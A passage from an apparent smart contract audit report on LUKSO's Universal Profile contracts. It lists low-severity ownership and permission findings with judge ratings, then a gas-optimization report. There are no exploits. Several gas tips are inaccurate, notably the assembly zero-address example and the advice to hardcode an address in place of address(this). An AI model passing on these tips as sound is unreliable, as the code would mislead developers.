Add an `emit` after the second call to `_verifyPermissions()`:

```
function lsp20VerifyCall(...) ... {
    ...
    if (msg.sender == _target) {
        ...
        _verifyPermissions(caller, msgValue, data);
        emit VerifiedCall(caller, msgValue, bytes4(data));
        return ...
    }
    else {
        ...
```

```
        _verifyPermissions(caller, msgValue, data);
+       emit VerifiedCall(caller, msgValue, bytes4(data));
        return ...
    }
}
```

[02] `renounceOwnership()` can't be done via controller

The functions `renounceOwnership()` or `LSP0ERC725AccountCore` can be called by a controller and the permissions of the controller are then checked via `_verifyCall`. This calls `_verifyPermissions()`, which allows for `transferOwnership()` and `acceptOwnership()`, but doesn't allow for `renounceOwnership()`.

This means `renounceOwnership()` can only be done via the `owner` of the `KeyManager` and not via a `controller`.

Proof of Concept

[LSP0ERC725AccountCore.sol#L655-L679]()

```
function renounceOwnership() ... {
    ...
    bool verifyAfter = _verifyCall(_owner);
    LSP14Ownable2Step._renounceOwnership();
    ...
}
```

[LSP6KeyManagerCore.sol#L455-L511]()

```
function _verifyPermissions(...) ... {
    ...
    if (...) {
        ...
    } else if (
            erc725Function == ILSP14Ownable2Step.transferOwnersh
            erc725Function == ILSP14Ownable2Step.acceptOwnershi
        ) {
            LSP6OwnershipModule._verifyOwnershipPermissions(from
```

```
        } else {
            revert InvalidERC725Function(erc725Function);
        }
    }
```

Recommended Mitigation Steps

Determine if a controller should be able to `renounceOwnership`. If so, update `_verifyPermissions()` to allow this. If not, remove the code from `renounceOwnership()` that prepares for this (e.g. the call to `_verifyCall()`).

[03] `renounceOwnership()` doesn't notify `UniversalReceiver`

Function `renounceOwnership()` doesn't notify `UniversalReceiver`, while `transferOwnership()` and `acceptOwnership()`. This is inconsistent and could mean the administration and verification of ownership isn't accurate, especially because the operation can be started via a `controller` that isn't the `owner` (see [LSP0ERC725AccountCore.sol renounceOwnership]()).

Note: this situation exists in both `LSP0ERC725AccountCore` *and* `LSP14Ownable2Step`*.*

Proof of Concept

[LSP0ERC725AccountCore.sol#L557-L697]()

```
abstract contract LSP0ERC725AccountCore is
    function transferOwnership(...) ... {
        ...
        pendingNewOwner.tryNotifyUniversalReceiver(_TYPEID_LSP0_
        ...
    }
    function acceptOwnership() ... {
        ...
        previousOwner.tryNotifyUniversalReceiver(_TYPEID_LSP0_Ow
        msg.sender.tryNotifyUniversalReceiver(_TYPEID_LSP0_Owner
    }
    function renounceOwnership() .. {
```

```
        ... // no tryNotifyUniversalReceiver
    }
}
```

[LSP14Ownable2Step.sol#L66-L113]

```
abstract contract LSP14Ownable2Step is ... {
    function transferOwnership(...) ... {
        ...
        newOwner.tryNotifyUniversalReceiver(_TYPEID_LSP14_Owners
        ...
    }
    function acceptOwnership() public virtual {
        ...
        previousOwner.tryNotifyUniversalReceiver(_TYPEID_LSP14_C
        msg.sender.tryNotifyUniversalReceiver(_TYPEID_LSP14_Owne
    }
   function renounceOwnership() .. {
       ... // no tryNotifyUniversalReceiver
    }
}
```

Recommended Mitigation Steps

Also send updates from `renounceOwnership()`.

[04] Data corruption handled in different ways

The function `_whenSending()` sometimes returns an error string when it encounters corrupt data. Sometimes it reverts when the corruption is detected in `generateSentAssetKeys()`.

Proof of Concept

[LSP1UniversalReceiverDelegateUP.sol#L201-L252]

```
function _whenSending(...) ... {
    if (typeId != _TYPEID_LSP9_OwnershipTransferred_SenderNotifi
        ...
        (dataKeys, dataValues) = LSP5Utils.generateSentAssetKeys
```

```
            if (dataKeys.length == 0 && dataValues.length == 0)
                return "LSP1: asset data corrupted"; // returns on c
            }
        }
    }
```

[LSP5ReceivedAssets/LSP5Utils.sol#L117-L137]()

```
    function generateSentAssetKeys(...) ... {
        ...
        bytes memory lsp5ReceivedAssetsCountValue = getLSP5ReceivedA
        if (lsp5ReceivedAssetsCountValue.length != 16) {
            revert InvalidLSP5ReceivedAssetsArrayLength(...);
        }
    }
```

Recommended Mitigation Steps

Consider handling all cases of data corruption in the same way.

[05] Function `generateSentAssetKeys()` can revert

The function `generateSentAssetKeys()` can revert on `uint128 newArrayLength = oldArrayLength - 1`. This only happens when the data is already corrupt. However, in this case, no useful error/revert message is given.

Proof of Concept

[LSP5Utils.sol#L117-L137]()

```
    function generateSentAssetKeys(...) ... {
        ...
        uint128 oldArrayLength = uint128(bytes16(lsp5ReceivedAssetsC

        // Updating the number of the received assets (decrementing
        uint128 newArrayLength = oldArrayLength - 1;  // could rever
        ...
    }
```

Recommended Mitigation Steps

Consider an extra check, for example, in the following way:

```
function generateSentAssetKeys(...) ... {
    ...
    uint128 oldArrayLength = uint128(bytes16(lsp5ReceivedAssets(
+   if (oldArrayLength == 0) revert Invalidlsp5ReceivedAssetsCou
    // Updating the number of the received assets (decrementing
    uint128 newArrayLength = oldArrayLength - 1;  // could rever
    ...
}
```

[06] Comments of `renounceOwnership()` on risks is incomplete

After a completed `renounceOwnership()`, the `owner` will be 0. Not only will direct calls that check the owner fail, but also the checks via `_verifyCall()` will fail. This is because `_verifyCall()` interacts with the `owner`, which no longer exists.

This means that all (write/execute) actions on the Universal Profile will fail. Read only actions and previously set allowances will keep working. So `renounceOwnership()` will make the Universal Profile largely unuseable. The warnings in the source do not show the entire extent of the issue, see [LSP0ERC725AccountCore.sol#L642-L655](#).

Proof of Concept

[LSP0ERC725AccountCore.sol#L222-L257](#)

```
function execute(...) ... {
    ...
    address _owner = owner();
    ...
    bool verifyAfter = LSP20CallVerification._verifyCall(_owner)
    bytes memory result = ERC725XCore._execute(...);
    ...
}
```

LSP20CallVerification.sol#L23-L43

```
function _verifyCall(address logicVerifier) ... {
    (bool success, bytes memory returnedData) = logicVerifier.ca
    _validateCall(false, success, returnedData);    // will rever
    bytes4 magicValue = abi.decode(returnedData, (bytes4));
    if (bytes3(magicValue) != bytes3(ILSP20.lsp20VerifyCall.sele
            revert LSP20InvalidMagicValue(false, returnedData);
    ...
}
```

Recommended Mitigation Steps

Consider enhancing the comments to include the risks:

```
@custom:danger Leaves the contract without an owner.
Once ownership of the contract has been renounced, any functions
by the owner
+or a controller
will be permanently inaccessible, making these functions not cal
```

[07] Function `_verifyCall()` doesn't check for EOAs

The function `_verifyCall()` calls a `logicVerifier` without checking if this is a contract or an EOA. Whereas function `isValidSignature()` first checks if the `owner` is an EOA.

The risk is limited because the checks in `_verifyCall()` will revert.

Proof of Concept

LSP0ERC725AccountCore.sol#L222-L257

```
function _verifyCall(address logicVerifier) ... {
    (bool success, bytes memory returnedData) = logicVerifier.ca
    _validateCall(false, success, returnedData);    // will rever
    bytes4 magicValue = abi.decode(returnedData, (bytes4));
    if (bytes3(magicValue) != bytes3(ILSP20.lsp20VerifyCall.sele
```

```
                revert LSP20InvalidMagicValue(false, returnedData);
        ...
    }
```

LSP0ERC725AccountCore.sol#L734-L774

```
    function isValidSignature(...) ... {
        address _owner = owner();
        // If owner is a contract
        if (_owner.code.length > 0) {
            (bool success, bytes memory result) = _owner.staticcall(

        }
        // If owner is an EOA
        else {
            ...
        }
    }
```

Recommended Mitigation Steps

Consider checking if the `logicVerifier` is an EOA in function `_verifyCall()`.

[08] Missing permissions in `getPermissionName()`

The function `getPermissionName()` retrieves the string equivalent of permissions. This is used for error messages. However, some permissions are missing.

Proof of Concept

LSP6Utils.sol#L226-L247

```
        function getPermissionName(bytes32 permission) internal pure
            if (permission == _PERMISSION_CHANGEOWNER) return "TRANS
            if (permission == _PERMISSION_EDITPERMISSIONS) return "E
            if (permission == _PERMISSION_ADDCONTROLLER) return "ADI
            if (permission == _PERMISSION_ADDEXTENSIONS) return "ADI
            if (permission == _PERMISSION_CHANGEEXTENSIONS)
                return "CHANGEEXTENSIONS";
            if (permission == _PERMISSION_ADDUNIVERSALRECEIVERDELEGA
```

```
            return "ADDUNIVERSALRECEIVERDELEGATE";
        if (permission == _PERMISSION_CHANGEUNIVERSALRECEIVERDEI
            return "CHANGEUNIVERSALRECEIVERDELEGATE";
        if (permission == _PERMISSION_REENTRANCY) return "REENTI
        if (permission == _PERMISSION_SETDATA) return "SETDATA";
        if (permission == _PERMISSION_CALL) return "CALL";
        if (permission == _PERMISSION_STATICCALL) return "STATIC
        if (permission == _PERMISSION_DELEGATECALL) return "DELI
        if (permission == _PERMISSION_DEPLOY) return "DEPLOY";
        if (permission == _PERMISSION_TRANSFERVALUE) return "TRA
        if (permission == _PERMISSION_SIGN) return "SIGN";
    }
```

Recommended Mitigation Steps

Add the missing permissions:

```
function getPermissionNameComplete(bytes32 permission) internal
    ...
+   if (permission == _PERMISSION_SUPER_TRANSFERVALUE) return "S
+   if (permission == _PERMISSION_SUPER_TRANSFERVALUE) return "S
+   if (permission == _PERMISSION_SUPER_CALL) return "SUPER_CALI
+   if (permission == _PERMISSION_SUPER_STATICCALL) return "SUPI
+   if (permission == _PERMISSION_SUPER_DELEGATECALL) return "SU
+   if (permission == _PERMISSION_SUPER_SETDATA) return "SUPER_S
+   if (permission == _PERMISSION_ENCRYPT) return "ENCRYPT";
+   if (permission == _PERMISSION_DECRYPT) return "DECRYPT";
}
```

[09] Missing check in `setDataBatch()` of `LSP0ERC725AccountCore`

The function `setDataBatch()` of ERC725YCore has an extra check compared to the version in `LSP0ERC725AccountCore`. The extra check verifies if `dataKeys.length == 0` and then reverts. The risk of this is very low though; however, it is not consistent.

Note: several other Batch functions don't check for array lenghts of 0 either.

Proof of Concept

[ERC725YCore.sol#L73-L96]

```
function setDataBatch(bytes32[] memory dataKeys, ...) ... {
    ...
    if (dataKeys.length == 0) {
        revert ERC725Y_DataKeysValuesEmptyArray();
    }
}
```

[LSP0ERC725AccountCore.sol#L380-L424]

```
function setDataBatch(bytes32[] memory dataKeys, ...) ... {
    // no check on dataKeys.length == 0
}
```

Recommended Mitigation Steps

Consider making the code consistent.

[10] The `_pendingOwner` can be reset via `_renounceOwnership()`

Assume `transferOwnership()` has been called and the `_pendingOwner` has been set. The function `_renounceOwnership()` can now be used to reset the `_pendingOwner`, which means that the next `acceptOwnership()` will fail.

Note: After the timeout period of `_renounceOwnership()`, the original situation is restored, so `_renounceOwnership()` has to be done twice to renounce ownership.

Note: Calling `transferOwnership()` again will also update the `_pendingOwner`.

This might be an unexpected situation.

Proof of Concept

[LSP14Ownable2Step.sol#L106C2-L179]

```
abstract contract LSP14Ownable2Step is ... {

    function _renounceOwnership() ...  {
        ...
        if (currentBlock > confirmationPeriodEnd || _renounceOwr
            _renounceOwnershipStartedAt = currentBlock;
            delete _pendingOwner;
            ...
            return;
        }
        ...
    }
}
```

Recommended Mitigation Steps

Double check if this is the intended behaviour. Consider to notify the `UniversalReceiver` of the fact that `OwnershipTransferStarted` is no longer relevant.

CJ42 (LUKSO) confirmed and commented:

> Ok, we confirm. Report is of great quality.
> However, we might have to go through the points individually. Some of them can be implemented and fixed, other might have to be discussed if we make the changes or not (e.g: nb 8).

Trust (judge) commented:

> 01 - Non-Critical
> 02 - Non-Critical
> 03 - Low
> 04 - Low +
> 05 - Non-Critical
> 06 - Non-Critical
> 07 - Low
> 08 - Low
> 09 - Low
> 10 - Low +

Gas Optimizations

For this audit, 14 reports were submitted by wardens detailing gas optimizations. The report highlighted below by **Raihan** received the top score from the judge.

The following wardens also submitted reports: hunter_w3b, petrichor, Rolezn, Sathish9098, LeoS, naman1778, SAQ, SAAJ, SM3_SS, ReyAdmirado, Rageur, matrix_0wl, *and* DavidGiladi.

Gas Optimizations Summary

	ISSUE	INSTANCES
[G-01]	Using `calldata` instead of `memory` for read-only arguments in external functions saves gas	6
[G-02]	State variables only set in the constructor should be declared immutable	2
[G-03]	Caching global variables is more expensive than using the actual variable (use `msg.sender` instead of caching it)	10
[G-04]	Use Modifiers Instead of Functions To Save Gas	2
[G-05]	Use `!= 0` instead of `> 0` for unsigned integer comparison	8
[G-06]	Use nested if statements instead of `&&`	14
[G-07]	Use Assembly To Check For `address(0)`	29
[G-08]	Can Make The Variable Outside The Loop To Save Gas	4
[G-09]	Internal functions only called once can be inlined to save gas	37
[G-10]	Gas saving is achieved by removing the `delete` keyword (~60k)	4
[G-11]	With assembly, `.call (bool success)` transfer can be done gas-optimized	2
[G-12]	Unnecessary computation	1

	ISSUE	INSTANCES
[G-13]	Use assembly to hash instead of Solidity	11
[G-14]	Duplicated `require()` / `if()` checks should be refactored to a modifier or function	15
[G-15]	Use a hardcode address instead of `address(this)`	4
[G-16]	`abi.encode()` is less efficient than `abi.encodePacked()`	3
[G-17]	`>=` costs less gas than `>`	11
[G-18]	Multiple accesses of a mapping/array should use a local variable cache	8
[G-19]	Empty blocks should be removed or emit something	2
[G-20]	Uncheck `arithmetics` operations that can’t underflow/overflow	22
[G-21]	Use constants instead of `type(uintx).max`	8
[G-22]	Access mappings directly rather than using accessor functions	4
[G-23]	Use assembly to emit events	1
[G-24]	Use `uint256(1)` / `uint256(2)` instead for true and false boolean states	1

[G-01] Using `calldata` instead of `memory` for read-only arguments in external functions saves gas

When a function with a `memory` array is called externally, the `abi.decode()` step has to use a `for-loop` to copy each index of the `calldata` to the `memory` index. Each iteration of this `for-loop` costs at least 60 gas (i.e. `60 * <mem_array>.length`). Using `calldata` directly, obliviates the need for such a loop in the contract code and runtime execution. Structs have the same overhead as an array of length one

```
File: /contracts/interfaces/IERC725X.sol
93   function executeBatch(
        uint256[] memory operationsType,
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory datas
    ) external payable returns (bytes[] memory);
```

https://github.com/ERC725Alliance/ERC725/blob/v5.1.0/implementations/contracts/interfaces/IERC725X.sol#L93

```
File: /contracts/interfaces/IERC725Y.sol
35  function getDataBatch(
        bytes32[] memory dataKeys
    ) external view returns (bytes[] memory dataValues);

52   function setData(bytes32 dataKey, bytes memory dataValue) e

67   function setDataBatch(
        bytes32[] memory dataKeys,
        bytes[] memory dataValues
    ) external payable;
```

https://github.com/ERC725Alliance/ERC725/blob/v5.1.0/implementations/contracts/interfaces/IERC725Y.sol#L35

```
File: /contracts/LSP20CallVerification/ILSP20CallVerifier.sol
19  function lsp20VerifyCall(
        address caller,
        uint256 value,
        bytes memory receivedCalldata
    ) external returns (bytes4 magicValue);

31    function lsp20VerifyCallResult(
        bytes32 callHash,
        bytes memory result
    ) external returns (bytes4);
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP20CallVerification/ILSP20CallVerifier.sol#L19

[G-02] State variables only set in the constructor should be declared immutable

Avoids a Gsset (20000 gas) in the constructor, replaces the first access in each transaction (Gcoldsload - 2100 gas) and each access thereafter (Gwarmacces - 100 gas) with a PUSH32 (3 gas).

INHERITED (address) StateVar `LSP6KeyManagerCore._target` (Declaration: `LSP6KeyManagerCore#79`)

```
File: /contracts/LSP6KeyManager/ILSP6KeyManager.sol
20   _target = target_;
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP6KeyManager/ILSP6KeyManager.sol#L20

INHERITED (bool) StateVar `LSP7DigitalAssetCore._isNonDivisible` (Declaration: `LSP7DigitalAssetCore#47`)

```
File: /contracts/LSP7DigitalAsset/LSP7DigitalAsset.sol
45   _isNonDivisible = isNonDivisible_;
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP7DigitalAsset/LSP7DigitalAsset.sol#L45

[G-03] Caching global variables is more expensive than using the actual variable (use `msg.sender` instead of caching it)

Reference

```
File: /contracts/LSP7DigitalAsset/LSP7DigitalAssetCore.sol
133   address operator = msg.sender;
```

```
304   address operator = msg.sender;

352   address operator = msg.sender;

315   address operator = msg.sender;
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP7DigitalAsset/LSP7DigitalAssetCore.sol#L133

```
File: /contracts/LSP8IdentifiableDigitalAsset/extensions/LSP8Con
233  address operator = msg.sender;
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP8IdentifiableDigitalAsset/extensions/LSP8CompatibleERC721.sol#L233

```
File: /contracts/LSP8IdentifiableDigitalAsset/extensions/LSP8Con
233  address operator = msg.sender;
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP8IdentifiableDigitalAsset/extensions/LSP8CompatibleERC721InitAbstract.sol#L233

```
File: /contracts/LSP8IdentifiableDigitalAsset/LSP8IdentifiableDi
198   address operator = msg.sender;

327   address operator = msg.sender;

361   address operator = msg.sender;

414   address operator = msg.sender;
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP8IdentifiableDigitalAsset/LSP8IdentifiableDigitalAssetCore.sol#L198

[G-04] Use Modifiers Instead of Functions To Save Gas

Example of two contracts with modifiers and internal view function:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
contract Inlined {
    function isNotExpired(bool _true) internal view {
        require(_true == true, "Exchange: EXPIRED");
    }
function foo(bool _test) public returns(uint){
            isNotExpired(_test);
            return 1;
    }
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
contract Modifier {
modifier isNotExpired(bool _true) {
        require(_true == true, "Exchange: EXPIRED");
        _;
    }
function foo(bool _test) public isNotExpired(_test)returns(uint)
        return 1;
    }
}
```

Differences:

Deploy `Modifier.sol` 108727

Deploy `Inlined.sol` 110473

`Modifier.foo` 21532

`Inlined.foo` 21556

```
File: /contracts/LSP6KeyManager/LSP6KeyManagerCore.sol
527 function _nonReentrantBefore(
        bool isSetData,
        address from
    ) internal virtual returns (bool isReentrantCall) {
        isReentrantCall = _reentrancyStatus;
        if (isReentrantCall) {
```

```
                // CHECK the caller has REENTRANCY permission
                _requirePermissions(
                    from,
                    ERC725Y(_target).getPermissionsFor(from),
                    _PERMISSION_REENTRANCY
                );
            } else {
                if (!isSetData) {
                    _reentrancyStatus = true;
                }
            }
        }

    550 function _nonReentrantAfter() internal virtual {
            // By storing the original value once again, a refund is
            // https://eips.ethereum.org/EIPS/eip-2200)
            _reentrancyStatus = false;
        }
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP6KeyManager/LSP6KeyManagerCore.sol#L527-544

[G-05] Use `!= 0` instead of `> 0` for unsigned integer comparison

It's generally more gas-efficient to use `!= 0` instead of `> 0` when comparing unsigned integer types.

This is because the Solidity compiler can optimize the `!= 0` comparison to a simple bitwise operation, while the `> 0` comparison requires an additional subtraction operation. As a result, using `!= 0` can be more gas-efficient and can help to reduce the overall cost of your contract.

Here's an example of how you can use `!= 0` instead of `> 0`:

▶ Details

[G-06] Use nested if statements instead of `&&`

If the “if” statement has a logical “AND” and is not followed by an “else” statement, it can be replaced with 2 if statements.

▶ Details

[G-07] Use Assembly To Check For `address(0)`

It’s generally more gas-efficient to use assembly to check for a zero address (`address(0)`) than to use the `==` operator.

The reason for this is that the `==` operator generates additional instructions in the EVM bytecode, which can increase the gas cost of your contract. By using assembly, you can perform the zero address check more efficiently and reduce the overall gas cost of your contract.

Here’s an example of how you can use assembly to check for a zero address:

```
contract MyContract {
    function isZeroAddress(address addr) public pure returns (bo
        uint256 addrInt = uint256(addr);

        assembly {
            // Load the zero address into memory
            let zero := mload(0x00)

            // Compare the address to the zero address
            let isZero := eq(addrInt, zero)

            // Return the result
            mstore(0x00, isZero)
            return(0, 0x20)
        }
    }
}
```

In the above example, we have a function `isZeroAddress` that takes an address as input and returns a boolean value, indicating whether the address is equal to the zero address. Inside the function, we convert the address to an integer using `uint256(addr)`, and then use `assembly` to compare the integer to the zero address.

By using `assembly` to perform the zero address check, we can make our code more gas-efficient and reduce the overall cost of our contract. It's important to note that `assembly` can be more difficult to read and maintain than Solidity code, so it should be used with caution and only when necessary

▶ Details

[G-08] Can Make The Variable Outside The Loop To Save Gas

When you declare a variable inside a loop, Solidity creates a new instance of the variable for each iteration of the loop. This can lead to unnecessary gas costs, especially if the loop is executed frequently or iterates over a large number of elements.

By declaring the variable outside the loop, you can avoid the creation of multiple instances of the variable and reduce the gas cost of your contract. Here's an example:

```
contract MyContract {
    function sum(uint256[] memory values) public pure returns (u
        uint256 total = 0;

        for (uint256 i = 0; i < values.length; i++) {
            total += values[i];
        }

        return total;
    }
}
```

```
File: /contracts/LSP0ERC725Account/LSP0ERC725AccountCore.sol
176   (bool success, bytes memory result) = address(this).delega
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP0ERC725Account/LSP0ERC725AccountCore.sol#L

176

```
File: /contracts/LSP2ERC725YJSONSchema/LSP2Utils.sol
262   bytes32 key = data.toBytes32(pointer);

293   bytes32 key = data.toBytes32(pointer);
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP2ERC725YJSONSchema/LSP2Utils.sol#L262

```
File: /contracts/LSP8IdentifiableDigitalAsset/LSP8IdentifiableDi
275   address operator = operatorsForTokenId.at(0);
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP8IdentifiableDigitalAsset/LSP8IdentifiableDigitalAssetCore.sol#L275

[G-09] Internal functions only called once can be inlined to save gas

▶ Details

[G-10] Gas saving is achieved by removing the `delete` keyword (~60k)

30k gas savings were made by removing the `delete` keyword. The reason for using the `delete` keyword here is to reset the struct values (set to default value) in every operation. However, the struct values do not need to be zero each time the function is run. Therefore, the `delete` keyword is unnecessary. If it is removed, around 30k gas savings will be achieved.

Reference

```
File: /contracts/LSP14Ownable2Step/LSP14Ownable2Step.sol
130    delete _renounceOwnershipStartedAt;
```

```
143    delete _pendingOwner;

164    delete _pendingOwner;

177    delete _renounceOwnershipStartedAt;
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP14Ownable2Step/LSP14Ownable2Step.sol#L130

[G-11] With assembly, `.call (bool success)` transfer can be done gas-optimized

Return data `(bool success,)` has to be stored due to EVM architecture. But in a usage like below, 'out' and 'outsize' values are given (0,0); this storage disappears and gas optimization is provided.

- (bool success,) = dest.call{value:amount}(""); bool success; assembly { success := call(gas(), dest, amount, 0, 0) }

[Reference]()

```
186     (bool success, bytes memory returnData) = target.call{va
           data
        );
```

https://github.com/ERC725Alliance/ERC725/blob/v5.1.0/implementations/contracts/ERC725XCore.sol#L186

```
File: /contracts/LSP6KeyManager/LSP6KeyManagerCore.sol
420    (bool success, bytes memory returnData) = _target.call{
           value: msgValue,
           gas: gasleft()
        }(payload);
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP6KeyManager/LSP6KeyManagerCore.sol#L420

[G-12] Unnecessary computation

When emitting an event that includes a new and an old value, it is cheaper in gas to avoid caching the old value in `memory`. Instead, emit the event, then save the new value in storage.

Proof of Concept - Instances include:

```
OwnableProxyDelegation.sol
function _setOwner
Recommended Mitigation
```

Replace:

```
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner)
```

with:

```
emit OwnershipTransferred(_owner_, newOwner)
_owner = newOwner;
```

```
File: /ERC725/blob/v5.1.0/implementations/contracts/custom/Ownak
             address oldOwner = _owner;
            _owner = newOwner;
            emit OwnershipTransferred(oldOwner, newOwner);
```

https://github.com/ERC725Alliance/ERC725/blob/v5.1.0/implementations/contracts/custom/OwnableUnset.sol#L70-#L72

[G-13] Use assembly to hash instead of Solidity

```
contract GasTest is DSTest {
  Contract0 c0;
```

```
  Contract1 c1;
  function setUp() public {
      c0 = new Contract0();
      c1 = new Contract1();
  }
  function testGas() public view {
      c0.solidityHash(2309349, 2304923409);
      c1.assemblyHash(2309349, 2304923409);
  }
}
contract Contract0 {
  function solidityHash(uint256 a, uint256 b) public view {
      //unoptimized
      keccak256(abi.encodePacked(a, b));
  }
}
contract Contract1 {
  function assemblyHash(uint256 a, uint256 b) public view {
      //optimized
      assembly {
          mstore(0x00, a)
          mstore(0x20, b)
          let hashedVal := keccak256(0x00, 0x40)
      }
  }
}
```

```
File: /contracts/LSP2ERC725YJSONSchema/LSP2Utils.sol
25    return keccak256(bytes(keyName));

43    return keccak256(dataKey);

75   bytes32 firstWordHash = keccak256(bytes(firstWord));

76   bytes32 lastWordHash = keccak256(bytes(lastWord));

98   bytes32 firstWordHash = keccak256(bytes(firstWord));

141   bytes32 firstWordHash = keccak256(bytes(firstWord));

142  bytes32 secondWordHash = keccak256(bytes(secondWord));

204   bytes32 hashFunctionDigest = keccak256(bytes(hashFunction)
```

```
205   bytes32 jsonDigest = keccak256(bytes(json));

221   bytes32 hashFunctionDigest = keccak256(bytes(hashFunction)

222  bytes32 jsonDigest = keccak256(bytes(assetBytes));
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP2ERC725YJSONSchema/LSP2Utils.sol#L25

[G-14] Duplicated `require()` / `if()` checks should be refactored to a modifier or function

Sign modifiers or functions can make your code more gas-efficient by reducing the overall number of operations that need to be executed. For example, if you have a complex validation check that involves multiple operations and you refactor it into a function, then the function can be executed with a single opcode, rather than having to execute each operation separately in multiple locations.

Recommendation: You can consider adding a modifier like below:

```
modifer check (address checkToAddress) {
    require(checkToAddress != address(0) && checkToAddress !=
     _;
}
```

```
File: /ERC725/blob/v5.1.0/implementations/contracts/ERC725XCore.
89   if (target != address(0))

96   if (target != address(0))


179  if (address(this).balance < value) {

251  if (address(this).balance < value) {
```

https://github.com/ERC725Alliance/ERC725/blob/v5.1.0/implementations/contracts/ERC725XCore.sol#L89

```
File: /ERC725/blob/v5.1.0/implementations/contracts/ERC725YCore.
66  if (msg.value != 0) revert ERC725Y_MsgValueDisallowed();

78  if (msg.value != 0) revert ERC725Y_MsgValueDisallowed();
```

https://github.com/ERC725Alliance/ERC725/blob/v5.1.0/implementations/contracts/ERC725YCore.sol#L66

```
File: /contracts/LSP0ERC725Account/LSP0ERC725AccountCore.sol
118  if (msg.value != 0) {

152  if (msg.value != 0) {

228  if (msg.value != 0) {

286  if (msg.value != 0) {

343  if (msg.value != 0) {

384  if (msg.value != 0) {

464  if (msg.value != 0) {

235  if (msg.sender == _owner) {

293  if (msg.sender == _owner) {
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP0ERC725Account/LSP0ERC725AccountCore.sol#L118

[G-15] Use a hardcoded address instead of `address(this)`

It can be more gas-efficient to use a hardcoded address instead of the `address(this)` expression, especially if you need to use the same address multiple times in your contract.

The reason for this is that using `address(this)` requires an additional `EXTCODESIZE` operation to retrieve the contract’s address from its bytecode, which can increase the gas cost of your contract. By pre-calculating and using a hardcoded address, you can avoid this additional operation and reduce the overall gas cost of your contract.

Here's an example of how you can use a hardcoded address instead of `address(this)`:

```
contract MyContract {
    address public myAddress = 0x1234567890123456789012345678901
    
    function doSomething() public {
        // Use myAddress instead of address(this)
        require(msg.sender == myAddress, "Caller is not authoriz
        
        // Do something
    }
}
```

In the above example, we have a contract, `MyContract`, with a public address variable `myAddress`. Instead of using `address(this)` to retrieve the contract's address, we have pre-calculated and hardcoded the address in the variable. This can help to reduce the gas cost of our contract and make our code more efficient.

[Reference](#)

```
File: /ERC725/blob/v5.1.0/implementations/contracts/ERC725XCore.
179   if (address(this).balance < value) {

180   revert ERC725X_InsufficientBalance(address(this).balance,

251   if (address(this).balance < value) {

252   revert ERC725X_InsufficientBalance(address(this).balance,
```

https://github.com/ERC725Alliance/ERC725/blob/v5.1.0/implementations/contracts/ERC725XCore.sol#L179

[G-16] `abi.encode()` is less efficient than `abi.encodePacked()`

In terms of efficiency, `abi.encodePacked()` is generally considered to be more gas-efficient than `abi.encode()` , because it skips the step of adding function signatures and other metadata to the encoded data. However, this comes at the cost of reduced safety, as `abi.encodePacked()` does not perform any type checking or padding of data.

```
File: /contracts/LSP0ERC725Account/LSP0ERC725AccountCore.sol
253     LSP20CallVerification._verifyCallResult(_owner, abi.encoc

319     abi.encode(results)

528     returnedValues = abi.encode(
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP0ERC725Account/LSP0ERC725AccountCore.sol#L253

[G-17] `>=` costs less gas than `>`

The compiler uses opcodes `GT` and `ISZERO` for solidity code that uses `>` , but only requires `LT` for `>=` , which saves 3 gas.

```
File: /contracts/LSP0ERC725Account/LSP0ERC725AccountCore.sol
182   if (result.length > 0) {

741   if (_owner.code.length > 0) {
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP0ERC725Account/LSP0ERC725AccountCore.sol#L182

```
File: /contracts/LSP1UniversalReceiver/LSP1UniversalReceiverDele
165   if (notifier.code.length > 0) {
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP1UniversalReceiver/LSP1UniversalReceiverDelegateUP/LSP1UniversalReceiverDelegateUP.sol#L165

```
File: /contracts/LSP6KeyManager/LSP6Modules/LSP6ExecuteModule.sc
284   if (ii + 34 > allowedCalls.length) {
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP6KeyManager/LSP6Modules/LSP6ExecuteModule.sol#L284

```
File: /contracts/LSP6KeyManager/LSP6Modules/LSP6SetDataModule.sc
559   if (length > 32)

679   if (length > 32)
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP6KeyManager/LSP6Modules/LSP6SetDataModule.sol#L559

```
File: /contracts/LSP6KeyManager/LSP6Utils.sol
137   if (elementLength == 0 || elementLength > 32) return false
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP6KeyManager/LSP6Utils.sol#L137

```
File: /contracts/LSP7DigitalAsset/LSP7DigitalAssetCore.sol
136   if (amount > operatorAmount) {

348    if (amount > balance) {

357    if (amount > authorizedAmount) {

491   if (to.code.length > 0) {
```

https://github.com/code-423n4/2023-06-lukso/tree/main/contracts/LSP7DigitalAsset/LSP7DigitalAssetCore.sol#L136

[G-18] Multiple accesses of a mapping/array should use a local variable cache

The instances below point to the second+ access of a value inside a mapping/array, within a function. Caching a mapping's value in a local storage or calldata variable when the value is accessed multiple times, saves ~42 gas per access, due to not having to recalculate the keys keccak256 hash (Gkeccak256 - 30 gas) and that calculation's associated stack operations. Caching an array's struct avoids recalculating the array offsets into `memory` / `calldata`.

```
File: /contracts/LSP8IdentifiableDigitalAsset/extensions/LSP8Enu
